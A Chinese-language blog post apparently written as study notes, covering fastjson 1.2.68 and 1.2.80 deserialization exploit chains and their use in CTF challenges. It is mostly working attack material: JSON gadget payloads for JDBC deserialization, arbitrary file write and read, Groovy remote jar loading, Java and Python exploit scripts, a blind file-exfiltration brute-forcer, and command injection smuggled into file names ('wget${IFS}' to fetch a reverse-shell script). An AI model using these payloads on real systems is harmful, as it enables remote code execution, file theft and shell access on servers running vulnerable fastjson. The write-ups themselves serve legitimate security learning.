众所周知fastjson一般都是打JNDI的,这也是最常用的一种方法,但是高版本的话autoType默认为false,不支持,这里就需要通过一些其他的方法来rce了
在去年的黑帽大会上分享了fastjson1.2.68的几种利用链,今年看到浅蓝师傅关于fastjson1.2.80分享的议题,决定两个一起学习一下
BlackHat2021(fastjson 1.2.68) fastjson 1.2.68可以利用java.lang.AutoCloseable绕过checkAutotype
利用前提:
必须继承 AutoCloseable
必须具有默认构造函数或带符号的构造函数,否则无法正确实例化
不在黑名单中
可以引起 rce 、任意文件读写或其他高风险影响
gadget的依赖应该在原生jdk或者广泛使用的第三方库中
Mysql JDBC 先配置一下mysql
1 2 3 4 5 <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>5.1.30</version> </dependency>
可以看到JDBC4Connection是满足条件的
可以打jdbc的反序列化,简单的复现一下,打一下cc5 使用工具 https://github.com/fnmsd/MySQL_Fake_Server
1 2 3 4 5 6 7 8 { "name" : { "@type" : "java.lang.AutoCloseable" , "@type" : "com.mysql.jdbc.JDBC4Connection" , "hostToConnectTo" : "127.0.0.1" , "portToConnectTo" : 3306 , "info" : { "user" : "CommonsCollections5" , "password" : "pass" , "statementInterceptors" : "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor" , "autoDeserialize" : "true" , "NUM_HOSTS" : "1" } } { "@type" : "java.lang.AutoCloseable" , "@type" : "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection" , "proxy" : { "connectionString" : { "url" : "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=CommonsCollections5" } } } { "@type" : "java.lang.AutoCloseable" , "@type" : "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection" , "proxy" : { "@type" : "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy" , "connectionUrl" : { "@type" : "com.mysql.cj.conf.url.ReplicationConnectionUrl" , "masters" : [ { "host" : "127.0.0.1" } ] , "slaves" : [ ] , "properties" : { "host" : "127.0.0.1" , "user" : "CommonsCollections5" , "dbname" : "dbname" , "password" : "pass" , "queryInterceptors" : "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor" , "autoDeserialize" : "true" } } } }
参考:Fastjson MySQL gadget复现
commons-io写文件 首先是一条 openjdk >= 11 的读写链
这里分享一条我找到的不需要三方库的链, 注意虽然不需要三方库, 但只能在 openjdk >= 11 下利用, 因为只有这些版本没去掉符号信息. fastjson 在类没有无参数构造函数时, 如果其他构造函数是有符号信息的话也是可以调用的, 所以可以多利用一些内部类, 但是 openjdk 8, 包括 oracle jdk 都是不带这些信息的, 导致无法反序列化, 自然也就无法利用. 所以相对比较鸡肋, 仅供学习. orz
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 { "@type" : "java.lang.AutoCloseable" , "@type" : "sun.rmi.server.MarshalOutputStream" , "out" : { "@type" : "java.util.zip.InflaterOutputStream" , "out" : { "@type" : "java.io.FileOutputStream" , "file" : "/tmp/asdasd" , "append" : true } , "infl" : { "input" : { "array" : "eJxLLE5JTCkGAAh5AnE=" , "limit" : 14 } } , "bufLen" : "100" } , "protocolVersion" : 1 }
这里如何构造文件内容呢,可以使用python进行构造
1 2 3 4 5 6 from itsdangerous import base64_encodeimport zlibcc='Test123' .encode() ccc=zlib.compress(cc) print (len (ccc))print (base64_encode(ccc))
然后修改array和limit即可写入文件,append为false是覆盖内容,为true是追加内容
可以看到成功写入文件,但是由于版本限制的问题过于鸡肋
最后voidfyoo师傅找到了Commons IO 2.x的写文件链 注意这里写入内容的长度必须要>8192,不然会失败,并且实际写入的内容只有前8192个字符,后面的不会写入 commons-io 2.0 - 2.6 版本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 { "x" : { "@type" : "com.alibaba.fastjson.JSONObject" , "input" : { "@type" : "java.lang.AutoCloseable" , "@type" : "org.apache.commons.io.input.ReaderInputStream" , "reader" : { "@type" : "org.apache.commons.io.input.CharSequenceReader" , "charSequence" : { "@type" : "java.lang.String" "aaaaaa...(长度要大于8192,实际写入前8192个字符)" } , "charsetName" : "UTF-8" , "bufferSize" : 1024 } , "branch" : { "@type" : "java.lang.AutoCloseable" , "@type" : "org.apache.commons.io.output.WriterOutputStream" , "writer" : { "@type" : "org.apache.commons.io.output.FileWriterWithEncoding" , "file" : "/tmp/pwned" , "encoding" : "UTF-8" , "append" : false } , "charsetName" : "UTF-8" , "bufferSize" : 1024 , "writeImmediately" : true } , "trigger" : { "@type" : "java.lang.AutoCloseable" , "@type" : "org.apache.commons.io.input.XmlStreamReader" , "is" : { "@type" : "org.apache.commons.io.input.TeeInputStream" , "input" : { "$ref" : "$.input" } , "branch" : { "$ref" : "$.branch" } , "closeBranch" : true } , "httpContentType" : "text/xml" , "lenient" : false , "defaultEncoding" : "UTF-8" } , "trigger2" : { "@type" : "java.lang.AutoCloseable" , "@type" : "org.apache.commons.io.input.XmlStreamReader" , "is" : { "@type" : "org.apache.commons.io.input.TeeInputStream" , "input" : { "$ref" : "$.input" } , "branch" : { "$ref" : "$.branch" } , "closeBranch" : true } , "httpContentType" : "text/xml" , "lenient" : false , "defaultEncoding" : "UTF-8" } , "trigger3" : { "@type" : "java.lang.AutoCloseable" , "@type" : "org.apache.commons.io.input.XmlStreamReader" , "is" : { "@type" : "org.apache.commons.io.input.TeeInputStream" , "input" : { "$ref" : "$.input" } , "branch" : { "$ref" : "$.branch" } , "closeBranch" : true } , "httpContentType" : "text/xml" , "lenient" : false , "defaultEncoding" : "UTF-8" } } }
可以发现在JDK8版本下成功写入文件,如果能写jsp,那么就可以直接getshell了,但是如果不存在写jsp的条件呢,比如说springboot,那么就需要写jar文件了:Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索
总结一下就是 jvm 为了避免一下加载太多暂时用不到或者以后都用不到的类,不会在一开始运行时把所有的 JDK HOME 目录下自带的 jar 文件全部加载到类中,存在 懒加载 行为,并且发现程序代码中如果没有使用Charset.forName("GBK")
类似的代码,默认就不会加载到/jre/lib/charsets.jar
文件,那么我们控制类初始化,就可以加载恶意的charsets.jar实现rce了
存在一条写二进制的链
需要满足:fastjson<=1.2.68 and commons-io-2.2 aspectjtools-1.9.6 commons-codec-1.6
最后Skay师傅的exp为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 import java.io.DataInputStream;import java.io.File;import java.io.FileInputStream;import java.io.IOException;import java.util.ArrayList;import java.util.Arrays;import java.util.Base64;import com.alibaba.fastjson.JSON;public class payload_AspectJ_writefile { public static void main (String[] args) { byte [] bom_buffer_bytes = readFileInBytesToString("C:/Users/bmth/Desktop/作业/CTF学习/java学习/fastjson/src/main/java/exp/Blackhat2021/1.txt" ); String so_content = new String (bom_buffer_bytes); for (int i=0 ;i<8192 ;i++){ so_content = so_content+"a" ; } String base64_so_content = Base64.getEncoder().encodeToString(so_content.getBytes()); byte [] big_bom_buffer_bytes = Base64.getDecoder().decode(base64_so_content); String payload = String.format("{\n" + " \"@type\":\"java.lang.AutoCloseable\",\n" + " \"@type\":\"org.apache.commons.io.input.BOMInputStream\",\n" + " \"delegate\":{\n" + " \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" + " \"input\":{\n" + " \"@type\": \"org.apache.commons.codec.binary.Base64InputStream\",\n" + " \"in\":{\n" + " \"@type\":\"org.apache.commons.io.input.CharSequenceInputStream\",\n" + " \"charset\":\"utf-8\",\n" + " \"bufferSize\": 1024,\n" + " \"s\":{\"@type\":\"java.lang.String\"\"%1$s\"\n" + " },\n" + " \"doEncode\":false,\n" + " \"lineLength\":1024,\n" + " \"lineSeparator\":\"5ZWKCg==\",\n" + " \"decodingPolicy\":0\n" + " },\n" + " \"branch\":{\n" + " \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" + " \"targetPath\":\"%2$s\"\n" + " },\n" + " \"closeBranch\":true\n" + " },\n" + " \"include\":true,\n" + " \"boms\":[{\n" + " \"@type\": \"org.apache.commons.io.ByteOrderMark\",\n" + " \"charsetName\": \"UTF-8\",\n" + " \"bytes\":" +"%3$s\n" + " }],\n" + " \"x\":{\"$ref\":\"$.bOM\"}\n" + "}" ,base64_so_content, "C:/Users/bmth/Desktop/作业/CTF学习/java学习/fastjson/src/main/java/exp/Blackhat2021/3.txt" , Arrays.toString(big_bom_buffer_bytes)); System.out.println(payload); JSON.parse(payload); } public static byte [] readFileInBytesToString(String filePath) { final int readArraySizePerRead = 4096 ; File file = new File (filePath); ArrayList<Byte> bytes = new ArrayList <>(); try { if (file.exists()) { DataInputStream isr = new DataInputStream (new FileInputStream (file)); byte [] tempchars = new byte [readArraySizePerRead]; int charsReadCount = 0 ; while ((charsReadCount = isr.read(tempchars)) != -1 ) { for (int i = 0 ; i < charsReadCount ; i++){ bytes.add (tempchars[i]); } } isr.close(); } } catch (IOException e) { e.printStackTrace(); } return toPrimitives(bytes.toArray(new Byte [0 ])); } static byte [] toPrimitives(Byte[] oBytes) { byte [] bytes = new byte [oBytes.length]; for (int i = 0 ; i < oBytes.length; i++) { bytes[i] = oBytes[i]; } return bytes; } }
测试发现写入的文件存在问题,只能写入8kb的数据,导致文件不是一个完整的jar包
仅提供一个思路
commons-io读文件 前提是存在数据的回显,比如return 反序列化后的数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 { "abc" : { "@type" : "java.lang.AutoCloseable" , "@type" : "org.apache.commons.io.input.BOMInputStream" , "delegate" : { "@type" : "org.apache.commons.io.input.ReaderInputStream" , "reader" : { "@type" : "jdk.nashorn.api.scripting.URLReader" , "url" : "file:///C:/Users/bmth/Desktop/作业/CTF学习/java学习/fastjson/src/main/java/exp/Blackhat2021/1.txt" } , "charsetName" : "UTF-8" , "bufferSize" : 1024 } , "boms" : [ { "charsetName" : "UTF-8" , "bytes" : [ 66 ] } ] } , "address" : { "$ref" : "$.abc.BOM" } }
可以看到为true的时候返回 为false的时候返回
说明我们可以盲注出文件的内容,并且调用的是URL对象,可以使用file或者netdoc遍历目录
参考:Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析 fastjson 1.2.68 反序列化漏洞 gadgets 挖掘笔记 fastjson 1.2.68 反序列化漏洞 gadget 的一种挖掘思路
可参考文章:Blackhat 2021 议题详细分析 —— FastJson 反序列化漏洞及在区块链应用中的渗透利用 关于blackhat2021披露的fastjson1.2.68链
KCon2022(fastjson 1.2.80) 1.2.68的修复方式非常的简单粗暴,将java.lang.Runnable
、java.lang.Readable
和java.lang.AutoCloseable
加入了黑名单,那么1.2.80用的就是另一个期望类:异常类Throwable
实例化类属性的对应类后,fastjson会将其加入到类缓存mappings中,从缓存中取类在修复前不会判断autoTypeSupport,所以绕过了类白名单机制扩展出更多的可用类
利用流程:
指定显式期望类,实例化XXXException并被加入类缓存
通过XXXException中可控的属性名/参数名,由隐式类间关系实例化并被加入类缓存
直接从缓存中拿出来用,或者进一步递归让其它类被加入到缓存
Groovy 利用条件
fastjson版本: 1.2.76 <= fastjson < 1.2.83
存在groovy依赖
最简单也最可能达成的一条链
第一步将org.codehaus.groovy.control.ProcessingUnit
加入白名单:
1 2 3 4 5 { "@type" : "java.lang.Exception" , "@type" : "org.codehaus.groovy.control.CompilationFailedException" , "unit" : { } }
第二步远程类加载:
1 2 3 4 5 6 7 8 { "@type" : "org.codehaus.groovy.control.ProcessingUnit" , "@type" : "org.codehaus.groovy.tools.javac.JavaStubCompilationUnit" , "config" : { "@type" : "org.codehaus.groovy.control.CompilerConfiguration" , "classpathList" : "http://127.0.0.1:8000/attack-1.jar" } }
生成exp:https://github.com/Lonely-night/fastjsonVul/
修改为windows的弹计算器,然后install即可,最后的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import com.alibaba.fastjson.JSON;import java.io.IOException;public class groovy { public static void main (String[] args) throws IOException { String poc1 = "{\n" + " \"@type\":\"java.lang.Exception\",\n" + " \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" + " \"unit\":{}\n" + "}" ; String poc2 = "{\n" + " \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" + " \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" + " \"config\":{\n" + " \"@type\":\"org.codehaus.groovy.control.CompilerConfiguration\",\n" + " \"classpathList\":\"http://127.0.0.1:8000/attack-1.jar\"\n" + " }\n" + "}" ; System.out.println(poc1); System.out.println(poc2); try { JSON.parse(poc1); } catch (Exception e) {} JSON.parse(poc2); } }
依次传入即可
接下来就很简单了,打内存马或者反弹shell都是可以的
aspectj fastjson1.2.73-1.2.80,依赖aspectjtools 分三次打
1 2 3 4 { "@type" : "java.lang.Exception" , "@type" : "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException" }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 { "@type" : "java.lang.Class" , "val" : { "@type" : "java.lang.String" { "@type" : "java.util.Locale" , "val" : { "@type" : "com.alibaba.fastjson.JSONObject" , { "@type" : "java.lang.String" "@type" : "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException" , "newAnnotationProcessorUnits" : [ { } ] } } }
1 2 3 4 5 6 7 { "x" : { "@type" : "org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit" , "@type" : "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit" , "fileName" : "c:/windows/win.ini" } }
这种可以打印结果的链,都可以利用java.lang.Character
进行报错回显,或者利用java.net.Inet4Address
进行dnslog回显,但由于要拼接进各种特殊符号,所以这个dnslog回显也仅存在理论当中(mac平台)
参考:Fastjson1.2.80漏洞复现 fastjson 1.2.80 漏洞分析 Fastjson CVE-2022-25845 漏洞复现 https://github.com/su18/hack-fastjson-1.2.80
题目复现 [深育杯2021]还是你熟悉的fastjson吗 反编译看到存在fastjson1.2.67和commons-io 2.6,这两个重点关注一下
随后看到源码,存在一个fastjson反序列化,并且会return结果,然后如果在/tmp
目录下存在.8.bak
结尾的文件时会有一个命令执行
方法一 如果文件名可控,就可以任意命令执行了,即:
1 2 3 4 5 test.8.bak bash -c cp $IFS /tmp/test.8.bak$IFS /tmp/test.8 a;wget${IFS} 192.168.111.1:8000; bash -c cp $IFS /tmp/a;wget${IFS} 192.168.111.1:8000;
那么就需要往/tmp
目录下写文件,使用Commons IO 2.x
写文件的链子 参考:Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析 最终的exp为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 { "x" :{ "@type" :"com.alibaba.fastjson.JSONObject" , "input" :{ "@type" :"java.lang.AutoCloseable" , "@type" :"org.apache.commons.io.input.ReaderInputStream" , "reader" :{ "@type" :"org.apache.commons.io.input.CharSequenceReader" , "charSequence" :{"@type" :"java.lang.String" "aaaa" }, "charsetName" :"UTF-8" , "bufferSize" :1024 }, "branch" :{ "@type" :"java.lang.AutoCloseable" , "@type" :"org.apache.commons.io.output.WriterOutputStream" , "writer" :{ "@type" :"org.apache.commons.io.output.FileWriterWithEncoding" , "file" :"/tmp/a;wget${IFS}192.168.111.1:8000;#test.8.bak" , "encoding" :"UTF-8" , "append" : false }, "charsetName" :"UTF-8" , "bufferSize" : 1024 , "writeImmediately" : true }, "trigger" :{ "@type" :"java.lang.AutoCloseable" , "@type" :"org.apache.commons.io.input.XmlStreamReader" , "is" :{ "@type" :"org.apache.commons.io.input.TeeInputStream" , "input" :{ "$ref" :"$.input" }, "branch" :{ "$ref" :"$.branch" }, "closeBranch" : true }, "httpContentType" :"text/xml" , "lenient" :false , "defaultEncoding" :"UTF-8" }, "trigger2" :{ "@type" :"java.lang.AutoCloseable" , "@type" :"org.apache.commons.io.input.XmlStreamReader" , "is" :{ "@type" :"org.apache.commons.io.input.TeeInputStream" , "input" :{ "$ref" :"$.input" }, "branch" :{ "$ref" :"$.branch" }, "closeBranch" : true }, "httpContentType" :"text/xml" , "lenient" :false , "defaultEncoding" :"UTF-8" }, "trigger3" :{ "@type" :"java.lang.AutoCloseable" , "@type" :"org.apache.commons.io.input.XmlStreamReader" , "is" :{ "@type" :"org.apache.commons.io.input.TeeInputStream" , "input" :{ "$ref" :"$.input" }, "branch" :{ "$ref" :"$.branch" }, "closeBranch" : true }, "httpContentType" :"text/xml" , "lenient" :false , "defaultEncoding" :"UTF-8" } } }
然后访问copy即可下载index.html,内容为反弹shell的代码
最后通过sh执行index.html即可反弹shell,写入的文件名为:/tmp/a;sh${IFS}index.html;#test.8.bak
方法二 看到官方wp,发现还可以目录遍历和文件读取
根据这getBom 方法的代码来看,它就是先把 delegate 输入流的字节码转成 int 数组,然后拿 ByteOrderMark 里的 bytes 挨个字节遍历去比对,如果遍历过程有比对错误的 getBom 就会返回一个 null,如果遍历结束,没有比对错误那就会返回一个 ByteOrderMark 对象。所以这里文件读取 成功的标志应该是 getBom 返回结果不为 null
并且由于传入的是一个 URL 对象。这就意味着file jar http 等协议都可以使用 poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 { "abc" : { "@type" : "java.lang.AutoCloseable" , "@type" : "org.apache.commons.io.input.BOMInputStream" , "delegate" : { "@type" : "org.apache.commons.io.input.ReaderInputStream" , "reader" : { "@type" : "jdk.nashorn.api.scripting.URLReader" , "url" : "file:///D:/test/1.txt" }, "charsetName" : "UTF-8" , "bufferSize" : 1024 }, "boms" : [{ "charsetName" : "UTF-8" , "bytes" : [49 ] }] }, "address" : { "$ref" : "$.abc.BOM" } }
最后的官方脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import requestsimport osimport sysimport reimport string host = "http://192.168.111.178:8080" def step1 (): global host result = [] def getArrayData (ch ): out = [] for c in result: out.append(str (ord (c))) out.append(str (ord (ch))) return ',' .join(out) def poc (ch ): url = '/hello' jsonstr = '{"abc":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"netdoc:///tmp/"},"charsetName":"utf-8","bufferSize":1024},"boms":[{"charsetName":"utf-8","bytes":[%s]}]},"address":{"$ref":"$.abc.BOM"}}' data = { 'data' : jsonstr % getArrayData(ch) } proxy = {'http' :'127.0.0.1:8080' } proxy = {} rsp = requests.post(host+url, data=data, proxies=proxy) if "bytes" in rsp.text: return True else : return False while True : for ch in string.printable+'\r\n' : if poc(ch): result.append(ch) print ('step1>' , '' .join(result)) break step1()
如果遍历出来flag那么可以直接file读取flag了 这里继续复现,本地测试发现如果commons-io版本为2.6,那么就会报错:
1 create instance error, null, public org.apache.commons.io.input.CharSequenceInputStream(java.lang.CharSequence,java.lang.String,int)
无法成功的写入二进制文件
参考文章:[原创]2021深育杯线上初赛官方WriteUp ctf中的java题目
[蓝帽杯2022决赛]赌怪 发现是华夏erp的项目,可以直接注册一个用户,然后存在反序列化漏洞 并且项目中存在mysql-connector-java 5.1.30和cc3.2.1链
看到这那么思路就很简单了,直接打fastjson的mysql反序列化
开启mysql恶意服务
payload:
1 { "name" : { "@type" : "java.lang.AutoCloseable" , "@type" : "com.mysql.jdbc.JDBC4Connection" , "hostToConnectTo" : "42.192.42.48" , "portToConnectTo" : 3306 , "info" : { "user" : "CommonsCollections6" , "password" : "pass" , "statementInterceptors" : "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor" , "autoDeserialize" : "true" , "NUM_HOSTS" : "1" } }
在search处传入,注意url编码
成功传输数据,cc6的内容为反弹shell
成功接收到shell,获得flag
修复的话也很简单,直接替换为高版本的fastjson就可以了
参考:SpringBoot框架华夏ERP源码审计 华夏ERP漏洞之授权绕过漏洞+后台命令执行漏洞=未授权命令执行
[羊城杯2021]Shop System 源码为:https://gitee.com/agoni_no/gulimall
官方wp: 首发!2021年羊城杯官方Writeup公布(Web)